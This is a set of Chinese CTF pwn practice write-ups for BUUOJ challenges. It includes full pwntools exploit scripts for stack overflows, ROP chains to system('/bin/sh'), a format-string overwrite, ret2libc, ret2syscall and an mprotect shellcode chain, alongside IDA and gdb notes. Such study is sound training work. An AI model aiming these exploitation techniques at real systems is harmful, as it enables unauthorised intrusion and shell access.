Pwn刷题
test_your_nc
nc就行,不过有附件可以分析一下

就是/bin/bash,所以nc上去就是shell
1
2
3
|
from pwn import *
r = remote("node5.buuoj.cn",27726)
r.interactive()
|
rip
先checksec
64位没有栈保护

main函数里面有gets函数,gets函数不会检查输入字符串的长度,若用户输入的字符串长度超过了 str 所指向数组的大小,就会发生缓冲区溢出。
gets若没有遇到 \n 结束,则会无限读取,没有上限。
gets函数这行的意思是它会把我们在“please input”后输入的东西放进&s中(即gets函数的缓冲区)
双击s

自上往下从第一个函数s到最后一个函数s的地址(都是标蓝的)便是缓冲区大小,可以看到跟前面定义的一样为15
然后查看字符串shift+F12

有system和/bin/bash,双击/bin/bash,要双击左边那个地址
然后Ctrl+X查看哪里调用了它,直接定位到fun函数

现在思路就是利用gets的溢出,返回的地址是fun函数的地址执行fun函数

记录fun函数的地址0x401186
其实在这里直接溢出写exp就行了
1
2
3
4
5
|
from pwn import *
r = remote("node5.buuoj.cn",27884)
payload = b'a'*15 + p64(0x401186)
r.sendline(payload)
r.interactive()
|
这里记录一下其他解法
堆栈平衡
需要找lea的地址或者该函数结束即retn的地址
可以拖动ida上方蓝条

这里可以看到lea地址是0x40118A,retn地址是0x401198,由于这个程序是64位的,所以寄存器rbp大小是8
所以前面的15+8=23,因为要保持堆栈平衡,说白了就是对齐
第一种直接后门函数地址+1
1
2
3
4
5
|
from pwn import *
r = remote("node5.buuoj.cn",27884)
payload = b'a'*23 + p64(0x401186+1)
r.sendline(payload)
r.interactive()
|
这里加1的话,实际上就从86跳到87

直接跳过了push rbp这8个字节,到mov这里,rbp不变,rsp在mov这步才会不变,这样才会使rsp满足16字节对齐
或者直接跳到8A这里,也会对齐
1
2
3
4
5
|
from pwn import *
r = remote("node5.buuoj.cn",27884)
payload = b'a'*23 + p64(0x40118A)
r.sendline(payload)
r.interactive()
|
warmup_csaw_2016
首先还是checksec

没有canary,说明可以栈溢出,没有NX,栈上代码可以执行,没有PIE,代码段的地址是固定的
依旧打开ida看一下,反编译main函数看看

依旧gets函数,这里sprintf也可能栈溢出,不过这里的换行符\n了,不能栈溢出
跟上题一样的做法,双击变量v5看看长度

双击是直接定位到了var_40这里,这里左边0x40就是64,下面返回地址是8,所以溢出到返回地址就是0x40+8,这里也可以动调看偏移量
然后shift+f12去找后面函数或者别的方法

点进去,其实可以右键看调用图,也就是点进去右键Xrefs graph to

发现是sub_40060D调用了它

头地址是0x40060D,依旧拖动上面看看具体的汇编代码

执行读flag地址是0x400611
1
2
3
4
5
|
from pwn import *
r = remote("node5.buuoj.cn",28200)
p = b'a'*(0x40+8) + p64(0x400611)
r.sendline(p)
r.interactive()
|
下面记录一下简单的gdb动调程序的过程
常用指令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
**************************************************
pwndbg> start
# 开始运行,会停留在start函数上(start函数是main函数之前的一个函数)
**************************************************
pwndbg> q
# 退出调试
**************************************************
pwndbg> r
# 从头运行程序直到遇到断点,没有断点则会一直运行到结束
**************************************************
pwndbg> c
# 继续执行程序直到遇到断点,没有断点则会一直运行到结束
**************************************************
pwndbg> n
# 单步步过,n不会进入一个小函数
**************************************************
pwndbg> ni
# 常用,同n,但是是汇编层面的一步
**************************************************
pwndbg> s
# 步入,比如遇到一个call 什么什么函数,s会进入看看怎么个事
**************************************************
pwndbg> si
# 常用,同s,但是是汇编层面的一步
**************************************************
pwndbg> fini
# 快速运行结束当前函数
**************************************************
pwndbg> context
# 重新打印页面信息
**************************************************
pwndbg> b function_name
# 比如: b read 在read函数上下断点,运行到read函数的时候就会停止
**************************************************
pwndbg> b *(&function_name+offset)
# 比如: b *(&read + 10) 在read函数+10的地址上下断点,运行到这个地址的时候就会停止
**************************************************
pwndbg> b *0xaddr
# 比如: b *0x408010 那么程序运行到0x408010这个地址的时候就会停止
**************************************************
pwndbg> i b
# 查看断点信息,哪些地方打了断点
**************************************************
pwndbg> delete <断点序号>
# 删除断点序号对应的断点,单独一个delete会删除所有断点
**************************************************
pwndbg> i r
# 查看所有寄存器中存储的数据
**************************************************
pwndbg> i r <registers>
# 查看具体某一个寄存器的值 比如: pwndbg> i r rax
**************************************************
pwndbg> stack <int>
# 查看栈中的信息,具体数量填在stack后面,比如: stack 50
**************************************************
pwndbg> search <string>
# 在程序中查看字符串,可以查看自己输入的信息被存在什么地方了
**************************************************
pwndbg> set $<rigister> = <int>
# 使用set来给寄存器设置自定义的值
**************************************************
pwndbg> bt
# 查看我们当前这个函数的上一个函数是什么
**************************************************
pwndbg> vmmap
# 查看程序各个段的位置以及权限等信息
**************************************************
pwndbg> elf
# 查看elf文件信息
**************************************************
pwndbg> bins
# 查看释放的堆块
**************************************************
pwndbg> heap
# 查看正在使用的堆块
**************************************************
|
这里我们start或者run,注意这里如果刚拖到虚拟机里面的附件要给权限
1
|
chmod +x warmup_csaw_2016
|
这里进调试,先生成字符串
然后run程序,或者先run程序,再生成这个字符串,再按c进行continue就行
输入后程序会崩掉,可以查看rbp的值,再用cyclic计算偏移量

这里学习一下x指令和p指令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
# x 命令用于查看内存中的数据。它可以显示指定地址或变量所占内存的内容。
语法如下:x/[n][f][u] addr
n:可选,表示要显示的单元数量,默认为1。
f:可选,表示显示的格式,常见格式包括:
d:十进制整数
x:十六进制
o:八进制
c:字符
f:浮点数
u:可选,表示数据单位,常见单位包括:
b:字节
h:半字(2 字节)
w:字(4 字节)
g:巨字(8 字节)
例子:
x/10x 0x7fffffffe000 # 将以十六进制格式显示从 0x7fffffffe000 开始的10个字节的内容
x/4d my_array # 将以十进制格式查看 my_array 数组的前4个元素
# p 命令用于打印变量的值,通常用于查看变量的当前状态。
语法如下:p [expression]
expression:要打印的变量名或表达式。
例子:
p my_variable # 将输出 my_variable 的当前值
p &my_variable # 使用 & 操作符可以打印变量的地址
|
ciscn_2019_n_1
checksec

还是没有栈保护,但是有NX,防止注入shellcode,我们之前的攻击方式都叫做ROP,也就是栈溢出覆盖返回地址
ida打开看mian函数

看func函数

可以发现又一次使用gets,可以栈溢出,这里可以看到当v2等于后面那个数的时候,会执行cat /flag
所以这里有两种解法,第一种就是直接利用gets的栈溢出,挟持返回地址到system函数执行cat /flag的地方,第二种就是满足v2的条件,同样也是利用栈溢出来修改v2的值
依旧双击v1变量看看长度

可以看出v1和v2的距离是0x30-0x4,v2的内容只有4字节,因为它是浮点数,通过计算11.28125的16进制是0x41348000,这里把v1填满之后,再填入4字节的数据就会把v2的值覆盖,满足条件后拿到flag
1
2
3
4
5
|
from pwn import *
r = remote("node5.buuoj.cn",29089)
p = b'a'*(0x30-0x4)+p64(0x41348000)
r.sendline(p)
r.interactive()
|
另一种就找到func函数中执行命令的地址

可以发现是0x4006BE
1
2
3
4
5
|
from pwn import *
r = remote("node5.buuoj.cn",29089)
p = b'a'*(0x30+8)+p64(0x4006BE)
r.sendline(p)
r.interactive()
|
这题也能用ROP来写,先列出gadget

可以发现pop rdi;ret这个gadget,现在我们想要做到的是system('cat /flag')
找system的地址

这里要选择上面那个_system,因为它是plt部分的,是可以执行的system(PLT 位于代码段(.text 段附近),它是 可执行 的),而下面那个system,它其实是个存储槽位,它的内存里保存的是 system 函数在内存中的真正起始地址,它是 8 个字节的数据,不是指令,一般用来泄露libc地址
然后找命令的地址

有了这三个地址,我们就能构造ROP了,但是这里system 函数内部会调用一条汇编指令:movaps,movaps 指令要求操作数的地址必须是 16 字节对齐 的,如果执行 movaps 时,栈指针(RSP 寄存器)没有对齐到 16 字节,CPU 就会抛出异常,导致程序崩溃,我们如果只用这三个地址,rsp增加3*8不是16的倍数,所以会报错,必须补上一个8字节的指令ret,这个ret的作用就是从栈上弹出一个8字节的地址,然后跳转过去
所以我们得到
1
|
payload = b'a'*0x38 + p64(ret) + p64(pop_rdi) + p64(catflag) + p64(system)
|
完整exp
1
2
3
4
5
6
7
8
9
|
from pwn import *
p=remote('node5.buuoj.cn',26015)
pop_rdi=0x400793
ret=0x400501
catflag=0x4007cc
system=0x400530
payload = b'a'*0x38 + p64(ret) + p64(pop_rdi) + p64(catflag) + p64(system)
p.sendline(payload)
p.interactive()
|
pwn1_sctf_2016
checksec一手

32位NX保护的程序,反编译一下
main函数里面有个vuln函数

这里有个fgets跟前面gets很像,也可能导致栈溢出,然后这整个程序是实现了把输入的I替换成you
然后看左边函数列表有个get_flag函数

明显是利用栈溢出ROP到这个函数,双击s看看长度0x3c,明显大于fagets这里的32,所以要看看别的函数了
现在还剩下replace和strcpy了,这里replace会把一个字符的I换成3个字符的you,其实是可以利用这里,来构成fgets函数的栈溢出的,前面0x3c+4=64,64=3*21+1,也就是我们填入21个I加一个任意字符就能到返回地址,一个简单的ret2text就解决了
1
2
3
4
5
|
from pwn import *
r = remote('node5.buuoj.cn',27429)
p = b'I'*21 + b'a' + p32(0x08048F0D)
r.sendline(p)
r.interactive()
|
jarvisoj_level0
checksec

64位NX保护,还是栈溢出的题,反编译

看一下vulnerable_function

实际上是调用了read函数,也存在栈溢出,而且这里数组大小是128,但是确读入0x200u个字符,显然溢出的地方就在这,查看字符串

有binsh和system,可以getshell
找他们的地址

system地址是0x400460,查找/bin/sh的时候找到callsystem函数


1
2
3
4
5
|
from pwn import *
r = remote('node5.buuoj.cn',26750)
p = b'a'*(0x80+8) + p64(0x40059A)
r.sendline(p)
r.interactive()
|
由于是64位程序,我们可以用ropgadget找gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
from pwn import *
r = remote('node5.buuoj.cn',26750)
# p = b'a'*(0x80+8) + p64(0x40059A)
system_addr = 0x400460
binsh_addr = 0x400684
pop_rdi = 0x400663
ret_addr = 0x400431
p = b'a'*(0x80+8)
p += p64(pop_rdi)
p += p64(binsh_addr)
p += p64(ret_addr)
p += p64(system_addr)
r.sendline(p)
r.interactive()
|
[第五空间2019 决赛]PWN5

32位有canary保护的,不能栈溢出了,ida反编译看一下main函数

一眼可以看到满足atoi(nptr) == buf_这个条件就可以getshell,然后我们可以看到printf(buf)这里存在格式化字符串漏洞,然后上面的buf_这个变量是从/dev/urandom里面读取一个随机数跟我们输入的密码比较,atoi是把字符串转成整数的函数
现在的思路就是利用格式化字符串漏洞泄露出buf_的值,或者直接覆盖掉buf_的值,然后输入相同的密码就getshell了,所以还是常规思路,先找覆盖地址,计算偏移,覆盖数值

buf_的起始地址是0x0804C044,接下来就是计算偏移,直接运行程序,古法测试一下偏移

这里0x41414141的位置是第10个,也就是格式化字符串的第10个参数,然后gdb调试看看,在printf函数这里下断点,然后运行,这里一直ni到输入的地方,我们输入AAAA,然后一直走到printf(buf)的地方查看栈结构

变量地址比printf第一个参数高0x28,也就是第40/4=10个参数,所以得到偏移是10,然后就是最后一步覆盖了,先构造payload
由于是32位的,这里写入的就是数字4,也就是我们覆盖了密码的值为4
exp
1
2
3
4
5
6
7
|
from pwn import *
r = remote('node5.buuoj.cn',28464)
buf_addr = 0x0804C044
payload = p32(buf_addr) + b'%10$n'
r.sendline(payload)
r.sendline(b'4')
r.interactive()
|
这里借这题练习一下覆盖成小数字和大数字的做法
小数字
还是以2为例,构造payload,这里aa%1作为第10个参数,2$nx作为第11个参数,我们要写入的地址作为第12个参数,所以这里填12
exp
1
2
3
4
5
6
7
|
from pwn import *
r = remote('node5.buuoj.cn',28464)
buf_addr = 0x0804C044
payload = b'aa%12$nx' + p32(buf_addr)
r.sendline(payload)
r.sendline(b'2')
r.interactive()
|
大数字
改进了一下ctfwiki的脚本搓了一个
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
from pwn import *
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = f"%{result}c".encode()
elif prev == word:
result = 0
fmtstr = b""
else:
result = 256 + word - prev
fmtstr = f"%{result}c".encode()
fmtstr += f"%{index}$hhn".encode()
return fmtstr
def fmt_str(offset, size, addr, target):
payload = b""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
target_byte = (target >> (i * 8)) & 0xff
payload += fmt(prev, target_byte, offset + i)
prev = target_byte
return payload
r = remote('node5.buuoj.cn', 28464)
buf_addr = 0x0804C044
payload = fmt_str(10, 4, buf_addr, 0x10101010)
r.sendline(payload)
r.sendline(str(0x10101010))
r.interactive()
|
这里fmt_str(10, 4, buf_addr, 0x10101010)其实就是
1
|
p32(0x804c047)+p32(0x804c046)+p32(0x804c045)+p32(0x804c044)+b'%10$hhn%11$hhn%12$hhn%13$hhn'
|
因为这里没有填充,所以默认是4个地址相加的值也就是16,对应的就是0x10,最后的密码就是4个0x10拼起来
其实整半天,不如pwntools自带的函数fmtstr_payload函数
1
2
3
4
5
|
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
offset: 格式化字符串在栈上的偏移量(就是之前算的那个 10)。
writes: 一个字典 {地址: 目标值}。你可以同时修改多个地址,比如 {addr1: val1, addr2: val2}。
numbwritten: printf 在输出你的 Payload 之前已经输出的字符数(一般默认为 0)。
write_size: 写入方式,可选 'byte' (%hhn), 'short' (%hn) 或 'int' (%n)。默认是 'byte',这也是最安全的。
|
exp
1
2
3
4
5
6
7
8
9
10
|
from pwn import *
context.arch = 'i386'
r = remote('node5.buuoj.cn', 28464)
buf_addr = 0x0804C044
target_val = 0 # 这里随便写个数都行
offset = 10
payload = fmtstr_payload(offset, {buf_addr: target_val})
r.sendline(payload)
r.sendline(str(target_val))
r.interactive()
|
jarvisoj_level2
checksec

32为NX保护,ida看一下

read函数这里明显栈溢出,有system函数,看一下有没有binsh

那就很简单了
1
2
3
4
5
6
7
|
from pwn import *
r = remote('node5.buuoj.cn',27716)
binsh_addr = 0x0804A024
system_addr = 0x08048320
payload = b'a'*(0x88+4) + p32(system_addr) + b'AAAA' + p32(binsh_addr)
r.sendline(payload)
r.interactive()
|
ciscn_2019_n_8
checksec

保护全开了,反编译看一下

满足条件就getshell,查看一下n17这个变量

跟var都在bss段上,var是可控的,var数组的长度是0x94-0x60个长度,填充完var数组,剩下的就会溢出到n17,我们只需要构造溢出,将n17覆盖成17就行
exp
1
2
3
4
5
|
from pwn import *
r = remote('node5.buuoj.cn', 27977)
payload = b'a'*(0x94-0x60) + p32(17)
r.sendlineafter("What's your name?",payload)
r.interactive()
|
bjdctf_2020_babystack
checksec

64位NX保护

存在栈溢出,查看buf的大小


查找system地址和binsh地址发现都有,直接getshell了
1
2
3
4
5
6
7
8
9
10
11
|
from pwn import *
r = remote('node5.buuoj.cn',25196)
system_addr = 0x400590
binsh_addr = 0x400858
pop_rdi = 0x400833
ret_addr = 0x400561
payload = b'a'*(0x18) + p64(pop_rdi) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr)
# payload = b'a'*(0x18) + p64(0x4006EA)
r.sendlineafter("[+]Please input the length of your name:",str(0x40))
r.sendlineafter("[+]What's u name?",payload)
r.interactive()
|
当然这里其实有后门函数来getshell

ciscn_2019_c_1
checksec

64位NX保护,运行程序像是一个加解密的程序,反编译看看代码

看一下encrypt函数

这里gets存在栈溢出,但是这里strlen检查到有输入的字符串长度的话,就会对输入的字符串进行加密,这里用\0截断strlen,因为strlen判断长度是通过\0的位置来判断的,这里查看函数没有system,也没有binsh,显然是要打ret2libc
首先还是通过第一次溢出算libc基地址

所以偏移是0x58,这里还是用puts的地址来计算libc基地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
from pwn import *
context.arch = 'amd64'
r = remote('node5.buuoj.cn',27504)
p = process('./ciscn_2019_c_1')
elf = ELF('./ciscn_2019_c_1')
offset = 0x58
pop_rdi = 0x400c83
ret_addr = 0x4006b9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
r.sendlineafter("Input your choice!",b'1')
payload = b'\x00' + b'a'*(offset-1) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.sendlineafter("Input your Plaintext to be encrypted",payload)
r.recvuntil("Ciphertext")
puts_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
print("puts_addr: " + hex(puts_addr))
|
这样我们就拿到了puts的真实地址,但是libc版本不知道,没办法跟之前ctfwiki练习的例子一样直接减去symbols获取的地址来计算,这里就用到libcsearcher这个库
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
from pwn import *
from LibcSearcher import *
context.arch = 'amd64'
r = remote('node5.buuoj.cn',27504)
# p = process('./ciscn_2019_c_1')
elf = ELF('./ciscn_2019_c_1')
offset = 0x58
pop_rdi = 0x400c83
ret_addr = 0x4006b9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
r.sendlineafter("Input your choice!",b'1')
payload = b'\x00' + b'a'*(offset-1) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.sendlineafter("Input your Plaintext to be encrypted",payload)
r.recvuntil("Ciphertext")
puts_addr = u64(r.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
print("puts_addr: " + hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print("libc_base: " + hex(libc_base))
print("system_addr: " + hex(system_addr))
print("binsh_addr: " + hex(binsh_addr))
payload2 = b'\x00' + b'a'*(offset-1) + p64(ret_addr) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
r.sendlineafter("Input your choice!",b'1')
r.sendlineafter("Input your Plaintext to be encrypted",payload2)
r.interactive()
|
这里libc版本选择0和3都可以打通,也就是libc6_2.27-0ubuntu2_amd64和libc6_2.27-3ubuntu1_amd64都行
jarvisoj_level2_x64

64位NX保护

简单的栈溢出,system和binsh地址都有,直接ret2text
1
2
3
4
5
6
7
8
9
10
|
from pwn import *
r = remote('node5.buuoj.cn',28020)
offset = 0x88
binsh_addr = 0x600A90
system_addr = 0x4004C0
pop_rdi = 0x4006b3
ret_addr = 0x4004a1
payload = b'a'*(offset) + p64(pop_rdi) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr)
r.sendline(payload)
r.interactive()
|
get_started_3dsctf_2016

32位NX保护,查看main函数,有个gets存在栈溢出

查看偏移

偏移是0x38,这里返回地址显示居然没有+4,网上的文章说是外平栈,之前的题目是内平栈,没怎么懂,也就是少了push ebp;mov ebp esp这个操作
然后看到get_flag函数

这里if判断是可以利用栈溢出来跳过判断,直接走到fopen函数这里拿到flag的,查看一下地址

这里我们要跳到0x080489B8,而不是0x080489C0,因为0x080489B8是fopen函数的rt参数负责打开文件并读取
但是我们直接执行
1
|
payload = b'a'*(0x38) + p32(0x080489B8)
|
只能本地打通,而远程打不通,这是因为远程环境遇到异常退出就不会回显flag,这里因为fopen函数打开了一个输入流,需要关闭输入流才能回显flag,网上都用的是exit函数
1
2
3
4
5
6
7
8
|
from pwn import *
r = remote('node5.buuoj.cn',29619)
offset = 0x38
get_flag = 0x080489B8
exit_addr = 0x0804E6A0
payload = b'a'*(offset) + p32(get_flag) + p32(exit_addr)
r.sendline(payload)
r.interactive()
|
但是远程还是打不通,因为函数最开始是push esi;sub ebp,8的操作,被我们跳过了,当函数正常返回的时候,结尾有个add esp,8;pop esi的操作,这里缺少了push导致esi的位置是错误的,程序就崩溃了,所以还是利用32位函数调用布置栈,函数地址+返回地址+参数1+参数2,满足getflag函数的if判断来getflag吧
1
2
3
4
5
6
7
8
9
10
|
from pwn import *
r = remote('node5.buuoj.cn',29619)
offset = 0x38
get_flag = 0x080489A0
exit_addr = 0x0804E6A0
a1 = 0x308CD64F
a2 = 0x195719D1
payload = b'a'*(offset) + p32(get_flag) + p32(exit_addr) + p32(a1) + p32(a2)
r.sendline(payload)
r.interactive()
|
然后这题还有两种别的解法
这题是静态链接的,有一堆函数,所以有丰富的pop和ret指令,可以考虑找找寄存器打ret2syscall,回顾一下ret2syscall需要的寄存器
1
2
3
4
5
|
mov eax,0xb
mov ebx,["/bin/sh"]
mov ecx,0
mov edx,0
int 0x80
|
利用ROPgadget查找gadget

这里找到
1
2
|
0x080b91e6 : pop eax ; ret
0x0806fc30 : pop edx ; pop ecx ; pop ebx ; ret
|

但是找不到binsh的地址,我们就自己构造,一种思路是写入bss段中,第二种是利用寄存器写入

这里有个_tmbuf,可以利用这个来存储我们的binsh
1
|
.bss:080ECD60 ?? _tmbuf db ? ; ; DATA XREF: __tz_convert:loc_8090CC1↑o
|
这里就要利用两次栈溢出了,第一次栈溢出往bss段写入binsh,第二次栈溢出调用execve('/bin/sh')来getshell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
from pwn import *
r = remote('node5.buuoj.cn',29619)
offset = 0x38
gets_addr = 0x0804F630
main_addr = 0x08048A20
pop_eax_ret = 0x080b91e6
pop_edx_ecx_ebx_ret = 0x0806fc30
int_80 = 0x0806d7e5
tmp_buf = 0x080ECD60
payload1 = b'a'*(offset) + p32(gets_addr) + p32(main_addr) + p32(tmp_buf)
r.sendline(payload1)
binsh = b'/bin/sh\x00'
r.sendline(binsh)
payload2 = b'a'*(offset) + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(tmp_buf) + p32(int_80)
r.sendline(payload2)
r.interactive()
|
这里也可以用read函数,本质是一样的,然后就是另一种ret2syscall,利用寄存器写入binsh,这里要用ROPgadget找mov指令相关的了
1
2
3
|
ROPgadget --binary get_started_3dsctf_2016 --only "mov|ret"|grep "eax"
然后找到一条
0x080557ab : mov dword ptr [edx], eax ; ret
|
这样我们就能利用这条gadget替代前面的gets函数了,但是用寄存器不能一次写入/bin/sh,得分成两步,分别写bin和sh,因为这是32位的程序,而/bin/sh是8字节的字符串,所以一共写三次payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
from pwn import *
r = remote('node5.buuoj.cn',29619)
offset = 0x38
gets_addr = 0x0804F630
main_addr = 0x08048A20
pop_eax_ret = 0x080b91e6
pop_edx_ecx_ebx_ret = 0x0806fc30
int_80 = 0x0806d7e5
tmp_buf = 0x080ECD60
mov_edx_eax_ret = 0x080557ab
payload = b'a'*(offset)
# 在buf的位置写入/bin
payload += p32(pop_eax_ret) + b'/bin' + p32(pop_edx_ecx_ebx_ret) + p32(tmp_buf) + p32(0) + p32(0) + p32(mov_edx_eax_ret)
# 在buf+4的位置写入/sh\x00
payload += p32(pop_eax_ret) + b'/sh\x00' + p32(pop_edx_ecx_ebx_ret) + p32(tmp_buf+4) + p32(0) + p32(0) + p32(mov_edx_eax_ret)
# 构造execve函数
payload += p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(tmp_buf) + p32(int_80)
r.sendline(payload)
r.interactive()
|
然后这道题甚至还可以注入shellcode,尽管有NX保护,程序中有mprotect函数,这个函数用于修改内存区域访问权限的系统调用,用法如下
1
2
3
4
5
6
7
8
9
|
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
addr:需要修改权限的内存区域的起始地址,必须是系统页大小(通常为 4KB)的整数倍。
len:内存区域的长度(字节),系统会自动将其向上取整为页大小的整数倍。
prot:指定新的内存访问权限,是以下常量的按位或组合:
PROT_READ:可读。
PROT_WRITE:可写。
PROT_EXEC:可执行。
PROT_NONE:不可访问。
|
由于可读可写可执行的顺序是rwx,因此prot = 4(100)表示可读,prot = 2(010)表示可写,prot = 7(111)表示可读可写可执行。
首先要找合适的地址,这里可以用readelf命令查找

如果是ida的话可以用ctrl+S来查找

后三位是000的只有.got.plt这里,而且是可写的,我们可以把这个地址改成shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
from pwn import *
r = remote('node5.buuoj.cn',29619)
offset = 0x38
# pop_edx_ecx_ebx_ret用于清理栈,随便三个pop就行
pop_edx_ecx_ebx_ret = 0x0806fc30
elf = ELF('./get_started_3dsctf_2016')
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
memory = 0x080eb000
payload = b'a'*(offset)
# mprotect的len参数这里选择0x1000,记得也要是4KB的整数倍
payload += p32(mprotect_addr) + p32(pop_edx_ecx_ebx_ret) + p32(memory) + p32(0x1000) + p32(0x7)
# read的返回地址设置成memory,用于执行shellcode,这里第一个参数是0,表示输入,也就是输入往memory输入0x100字节大小的shellcode
payload += p32(read_addr) + p32(memory) + p32(0) + p32(memory) + p32(0x100)
r.sendline(payload)
shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
r.sendline(shellcode)
r.interactive()
|
这个脚本要在linux里面跑
[HarekazeCTF2019]baby_rop